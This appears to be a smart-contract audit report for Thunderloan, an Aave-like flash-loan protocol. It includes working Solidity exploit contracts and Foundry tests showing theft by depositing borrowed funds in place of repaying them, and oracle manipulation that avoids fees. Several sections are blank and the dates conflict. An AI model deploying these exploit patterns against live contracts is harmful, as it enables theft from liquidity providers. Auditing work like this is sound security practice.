Protocol Audit Report

Version 1.0

Cyfrin.io

June 9, 2024

Protocol Audit Report

Cyfrin.io

March 7, 2023

Prepared by: Cyfrin Lead Auditors: - xxxxxxx

Table of Contents

- Medium
  - [M-01] `getPriceOfOnePoolTokenInWeth` price oracle can be manipulated to the point where users will not pay a fee when doing a `flashloan`.

Protocol Summary

Thunderloan is a protocol that resembles the likes of AAVE, that allows users to deposit liquidity for flashloans, and for users to access that liquidity through flashloans.

Disclaimer

Plairfx makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

src/interfaces/IFlashLoanReceiver.sol src/interfaces/IPoolFactory.sol src/interfaces/ITSwapPool.sol src/interfaces/IThunderLoan.sol src/protocol/AssetToken.sol src/protocol/OracleUpgradeable.sol src/protocol/ThunderLoan.sol src/upgradedProtocol/ThunderLoanUpgraded.sol

Roles

LP User

Executive Summary

This an interesting experience to an audit a fork of aave and see how they implemented things in a different way than Aave.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	0
Info	0
Gas	0
Total	5

Findings

High

[H-1] When `ThunderLoan::deposit` is called it causes the protocol to think it has collected more fees than received, which blocks redemption and also sets the exchangerate to an incorrect point.

Description: Inside `ThunderLoan` when you use the `deposit` function you will incorrectly set the exchange rates and cause the protocol to think that it has accured more fees than expected, which will in return block the `redeem` function which causes the protocol to not function. The protocol thinks when repaying it will get more fees than expected, which causes the transaction to fail.

Impact: This will incorrectly set the `exchangerate` and will cause the `redeem` function to fail, meaning the liquidity provider cannot withdraw!

Proof of Concept: // Lets write this ourselves.

Recommended Mitigation:

Remove these 2 lines from `ThunderLoan::deposit`.

```
-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);
```

```
    function deposit(IERC20 token, uint256 amount) external
        revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        // this should never be 0,
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;


        emit Deposit(msg.sender, token, amount);


        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);


        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-02] When `ThunderLoan` gets upgraded `ThunderLoanUpgraded`, it causes a storage collision!

Description: When the contract upgrades it will cause a storage collision to happen, This happens because the `FEE_PRECISION` is changed from a storage variable to a constant variable.

Impact: When calling getFee, it will instant call a constant variable named `uint256 public constant FEE_PRECISION = 1e18;` instead of the storage variable `s_flashLoanFee`. When removing a storage variable at upgrade make sure to know what slot you are removing and putting the same variable at that place, else issues like this will occur making the contract unusable and the fee locked to the constant variable.

Proof of Concept:

PoCs

```
    function testUpgradeBreaks() public {
          uint256 feeBeforeUpgrade = thunderLoan.getFee();
          vm.startPrank(thunderLoan.owner());
          ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
          thunderLoan.upgradeToAndCall(address(upgraded), "");
          uint256 feeAfterUpgrade = thunderLoan.getFee();

          vm.stopPrank();

          console.log(feeBeforeUpgrade, feeAfterUpgrade);
          assert(feeBeforeUpgrade != feeAfterUpgrade);
      }
```

Recommended Mitigation: We assume that the upgrades will happen regularly so in this case: Reserve Storage Slots to make sure this never happens. https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable

This source will help you reserve storage slots to make sure this never happens.

For now i will suggest to keep the `s_feePrecision;` and make into a `s_blank` variable to keep the storage slots the same.

[H-03] Attacker can choose not repay and instead deposit to redeem more money than he intially deposited.

Description: Attacker can get more money when deposting instead of repaying, by creating a flashloan, deposting money and withdrawing the balance which he will receive more money than deposited.

Impact: User can still money from the thunderLoan contract, which will impact the protocol heavily.

Proof of Concept: 1. Attacker FlashLoans 2. Attacker Deposits 3. Attacker redeems 4. Attacker gets more money than intially deposited.

```
    function testUseDepositToStealFunds() public setAllowedToken
        hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        NoRepayAttack nra = new NoRepayAttack(address(thunderLoan));
        tokenA.mint(address(nra), fee);
        thunderLoan.flashloan(address(nra), tokenA, amountToBorrow, "")
            ;
        nra.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(nra)) > 50e18 + fee);
        console.log(tokenA.balanceOf(address(nra)));
        console.log(50e18 + fee);
    }
}

contract NoRepayAttack is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator,*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        // Deposit
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);

        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
}
```

Recommended Mitigation:

Medium

[M-01] `getPriceOfOnePoolTokenInWeth` price oracle can be manipulated to the point where users will not pay a fee when doing a `flashloan`.

Description:

Impact: This will essentially make it not viable for liquidity providers to provide liquidity because the fees can be

Proof of Concept:

1. Flashloan to manipulate the TSwapPool,
2. When the reserves of the dex pair are manipulated
3. Repay your flash loan without having to pay as much as a fee as expected.

```
    function testOracleManipulation() public {
        // Setting up Contracts
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;

        // Creating a tswap dex pair between WETH/ Token A
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2 Fund tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
            timestamp);
        vm.stopPrank();

        // Ratio = 1 WETH = 1 TOKENA
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        // 3 fund thunderLoan
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);

        // 4.
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal Fee is :", normalFeeCost);
        // 0.296147410319118389

        uint256 amountToBorrow = 50e18;
        FlashLoanerAttack flr = new FlashLoanerAttack(
            address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("Attack Fee:", attackFee);
        assert(attackFee < normalFeeCost);
    }
}

contract FlashLoanerAttack is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    // 1. Swap TokenA borrowed
    // 2. Take Out another flash loan,

    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator,*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);

            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            feeTwo = fee;
            // repay
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }
}
```

Recommended Mitigation: Use the chainlink price feed instead.